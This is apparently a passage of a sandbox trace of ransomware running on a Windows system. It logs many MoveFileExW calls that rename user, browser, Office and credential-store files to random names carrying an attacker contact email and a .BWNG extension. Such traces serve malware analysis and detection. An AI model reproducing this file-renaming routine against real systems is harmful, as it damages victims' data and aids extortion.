returned 1 [0129.181] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Melbourne" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\melbourne"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\[billwong73@yahoo.com].LTE49Nnc-qK7DF6Hx.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\[billwong73@yahoo.com].lte49nnc-qk7df6hx.bwng"), dwFlags=0x1) returned 1 [0129.183] GetTickCount () returned 0x1167d6a [0129.183] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27113487833) returned 1 [0129.183] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Links\\Desktop.lnk" (normalized: "c:\\users\\default\\links\\desktop.lnk"), lpNewFileName="C:\\Users\\Default\\Links\\[billwong73@yahoo.com].pqqT2LCG-Avo6XGhy.BWNG" (normalized: "c:\\users\\default\\links\\[billwong73@yahoo.com].pqqt2lcg-avo6xghy.bwng"), dwFlags=0x1) returned 1 [0129.184] GetTickCount () returned 0x1167d7a [0129.184] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27113666562) returned 1 [0129.185] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Desktop\\Adobe Reader X.lnk" (normalized: "c:\\users\\public\\desktop\\adobe reader x.lnk"), lpNewFileName="C:\\Users\\Public\\Desktop\\[billwong73@yahoo.com].5droEsJd-uZRuO5U7.BWNG" (normalized: "c:\\users\\public\\desktop\\[billwong73@yahoo.com].5droesjd-uzruo5u7.bwng"), dwFlags=0x1) returned 1 [0129.186] GetTickCount () returned 0x1167d7a [0129.186] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27113860093) returned 1 [0129.187] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.OIS.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.ois.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].Dq7xY9Mn-i9niYwF6.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].dq7xy9mn-i9niywf6.bwng"), dwFlags=0x1) returned 1 [0129.188] GetTickCount () returned 0x1167d7a [0129.188] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27114002993) returned 1 [0129.188] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\[billwong73@yahoo.com].eLHOwyPf-PfFOJMGj.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\[billwong73@yahoo.com].elhowypf-pffojmgj.bwng"), dwFlags=0x1) returned 1 [0129.190] GetTickCount () returned 0x1167d7a [0129.190] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27114176650) returned 1 [0129.190] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\verified_contents.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\[billwong73@yahoo.com].nUwvH360-k0kl2pg8.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\[billwong73@yahoo.com].nuwvh360-k0kl2pg8.bwng"), dwFlags=0x1) returned 1 [0129.191] GetTickCount () returned 0x1167d7a [0129.191] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27114349804) returned 1 [0129.192] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network persistent state"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\[billwong73@yahoo.com].8tcFAOdv-T9gcGHKn.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\[billwong73@yahoo.com].8tcfaodv-t9gcghkn.bwng"), dwFlags=0x1) returned 1 [0129.193] GetTickCount () returned 0x1167d7a [0129.193] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27114498898) returned 1 [0129.193] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\top sites"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\[billwong73@yahoo.com].EOgDcNwL-2AyDIMjv.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\[billwong73@yahoo.com].eogdcnwl-2aydimjv.bwng"), dwFlags=0x1) returned 1 [0129.194] GetTickCount () returned 0x1167d7a [0129.194] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27114655626) returned 1 [0129.195] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\[billwong73@yahoo.com].eRlW4TYM-KEMixK75.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\[billwong73@yahoo.com].erlw4tym-kemixk75.bwng"), dwFlags=0x1) returned 1 [0129.197] GetTickCount () returned 0x1167d7a [0129.197] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27114928377) returned 1 [0129.197] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\forms\\frmcache.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\[billwong73@yahoo.com].KmjdNXZn-pK4dWlye.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\forms\\[billwong73@yahoo.com].kmjdnxzn-pk4dwlye.bwng"), dwFlags=0x1) returned 1 [0129.199] GetTickCount () returned 0x1167d7a [0129.199] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27115108072) returned 1 [0129.199] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\08_video_rated_at_4_or_5_stars.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\[billwong73@yahoo.com].B1lLbWvc-UdkOX3ex.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\[billwong73@yahoo.com].b1llbwvc-udkox3ex.bwng"), dwFlags=0x1) returned 1 [0129.200] GetTickCount () returned 0x1167d8a [0129.200] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27115264809) returned 1 [0129.201] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\[billwong73@yahoo.com].aZ3mWk7O-2h0eg5ba.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\[billwong73@yahoo.com].az3mwk7o-2h0eg5ba.bwng"), dwFlags=0x1) returned 1 [0129.202] GetTickCount () returned 0x1167d8a [0129.202] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27115650029) returned 1 [0129.205] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\content14.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\content14.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\[billwong73@yahoo.com].ozYn5lJb-MIdiQTjN.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\[billwong73@yahoo.com].ozyn5ljb-midiqtjn.bwng"), dwFlags=0x1) returned 1 [0129.206] GetTickCount () returned 0x1167d8a [0129.206] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27115845860) returned 1 [0129.206] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].7iCuN11d-t3XP0dtG.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].7icun11d-t3xp0dtg.bwng"), dwFlags=0x1) returned 1 [0129.208] GetTickCount () returned 0x1167d8a [0129.208] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27116013084) returned 1 [0129.208] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].8ekSo5aF-WfTxMxXA.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].8ekso5af-wftxmxxa.bwng"), dwFlags=0x1) returned 1 [0129.209] GetTickCount () returned 0x1167d8a [0129.209] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27116164986) returned 1 [0129.210] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\24B53d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\2c\\24b53d01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\[billwong73@yahoo.com].q2xnMOwX-vhnwtaxd.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\2c\\[billwong73@yahoo.com].q2xnmowx-vhnwtaxd.bwng"), dwFlags=0x1) returned 1 [0129.211] GetTickCount () returned 0x1167d8a [0129.211] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27116356397) returned 1 [0129.212] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache\\cache.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\[billwong73@yahoo.com].MNDKtcQn-VALARgCU.BWNG" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache\\[billwong73@yahoo.com].mndktcqn-valargcu.bwng"), dwFlags=0x1) returned 1 [0129.290] GetTickCount () returned 0x1167dd8 [0129.290] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27124182107) returned 1 [0129.290] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.msaccess.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].x54YKldQ-uP5JN34z.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].x54ykldq-up5jn34z.bwng"), dwFlags=0x1) returned 0 [0129.290] GetTickCount () returned 0x1167dd8 [0129.290] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27124270870) returned 1 [0129.291] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.powerpnt.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].RNnF3UmY-QaY1Rdqp.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].rnnf3umy-qay1rdqp.bwng"), dwFlags=0x1) returned 0 [0129.291] GetTickCount () returned 0x1167dd8 [0129.291] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27124327551) returned 1 [0129.291] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winword.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].oAjrAs9b-Mku5PqaR.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].oajras9b-mku5pqar.bwng"), dwFlags=0x1) returned 0 [0129.292] GetTickCount () returned 0x1167dd8 [0129.292] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27124388826) returned 1 [0129.292] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\[billwong73@yahoo.com].qbj9Cxym-oaMEo3c4.BWNG" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\[billwong73@yahoo.com].qbj9cxym-oameo3c4.bwng"), dwFlags=0x1) returned 0 [0129.292] GetTickCount () returned 0x1167dd8 [0129.292] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27124442477) returned 1 [0129.292] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\[billwong73@yahoo.com].bE7wVHDO-yjxQNOx9.BWNG" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\[billwong73@yahoo.com].be7wvhdo-yjxqnox9.bwng"), dwFlags=0x1) returned 0 [0129.293] GetTickCount () returned 0x1167dd8 [0129.293] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27124482537) returned 1 [0129.293] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\[billwong73@yahoo.com].FDCohRMD-beeazO7B.BWNG" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\[billwong73@yahoo.com].fdcohrmd-beeazo7b.bwng"), dwFlags=0x1) returned 0 [0129.293] GetTickCount () returned 0x1167de7 [0129.293] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27124554657) returned 1 [0129.294] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\[billwong73@yahoo.com].ifzI6rne-KoJf85TT.BWNG" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\[billwong73@yahoo.com].ifzi6rne-kojf85tt.bwng"), dwFlags=0x1) returned 0 [0129.294] GetTickCount () returned 0x1167de7 [0129.294] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27124611936) returned 1 [0129.294] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\index.dat"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\[billwong73@yahoo.com].G2eU5NZh-MjNUUB6x.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\[billwong73@yahoo.com].g2eu5nzh-mjnuub6x.bwng"), dwFlags=0x1) returned 1 [0129.296] GetTickCount () returned 0x1167de7 [0129.296] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27124777654) returned 1 [0129.296] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\[billwong73@yahoo.com].vOuyPEKo-Y6jiff0E.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\[billwong73@yahoo.com].vouypeko-y6jiff0e.bwng"), dwFlags=0x1) returned 1 [0129.297] GetTickCount () returned 0x1167de7 [0129.297] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27124915105) returned 1 [0129.297] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.pat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.pat"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\[billwong73@yahoo.com].ctfKWwP5-eZ0sFoCl.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\[billwong73@yahoo.com].ctfkwwp5-ez0sfocl.bwng"), dwFlags=0x1) returned 1 [0129.299] GetTickCount () returned 0x1167de7 [0129.299] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27125079938) returned 1 [0129.299] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].w7Jt5ZH0-XKz5QZew.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].w7jt5zh0-xkz5qzew.bwng"), dwFlags=0x1) returned 1 [0129.300] GetTickCount () returned 0x1167de7 [0129.300] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27125215916) returned 1 [0129.300] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\94308059b57b3142e455b38a6eb92015"), lpNewFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].1oUHwwB9-jW55LE0G.BWNG" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].1ouhwwb9-jw55le0g.bwng"), dwFlags=0x1) returned 1 [0129.302] GetTickCount () returned 0x1167de7 [0129.302] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27125381966) returned 1 [0129.302] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Links\\desktop.ini" (normalized: "c:\\users\\default\\favorites\\links\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Favorites\\Links\\[billwong73@yahoo.com].SgiHmXt3-ueM2Nzvi.BWNG" (normalized: "c:\\users\\default\\favorites\\links\\[billwong73@yahoo.com].sgihmxt3-uem2nzvi.bwng"), dwFlags=0x1) returned 1 [0129.343] GetTickCount () returned 0x1167e16 [0129.343] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27129529837) returned 1 [0129.344] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Yekaterinburg" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\yekaterinburg"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].L1J6z9so-FZpsMTkN.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].l1j6z9so-fzpsmtkn.bwng"), dwFlags=0x1) returned 1 [0129.345] GetTickCount () returned 0x1167e16 [0129.345] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27129717025) returned 1 [0129.345] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Stanley" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\stanley"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\[billwong73@yahoo.com].3LHgHyS0-BbczHBxX.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\[billwong73@yahoo.com].3lhghys0-bbczhbxx.bwng"), dwFlags=0x1) returned 1 [0129.346] GetTickCount () returned 0x1167e16 [0129.346] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27129869207) returned 1 [0129.347] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\ms project\\14\\1033\\global.mpt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\[billwong73@yahoo.com].AlnxQR5m-iDqTcYqD.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\ms project\\14\\1033\\[billwong73@yahoo.com].alnxqr5m-idqtcyqd.bwng"), dwFlags=0x1) returned 1 [0129.349] GetTickCount () returned 0x1167e16 [0129.349] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27130119377) returned 1 [0129.349] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\fbbe72db-afd8-443b-88dd-64b20388700d" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\fbbe72db-afd8-443b-88dd-64b20388700d"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\[billwong73@yahoo.com].XsAbR3zl-XR1a0bwn.BWNG" (normalized: "c:\\users\\5p5nrgjn0js 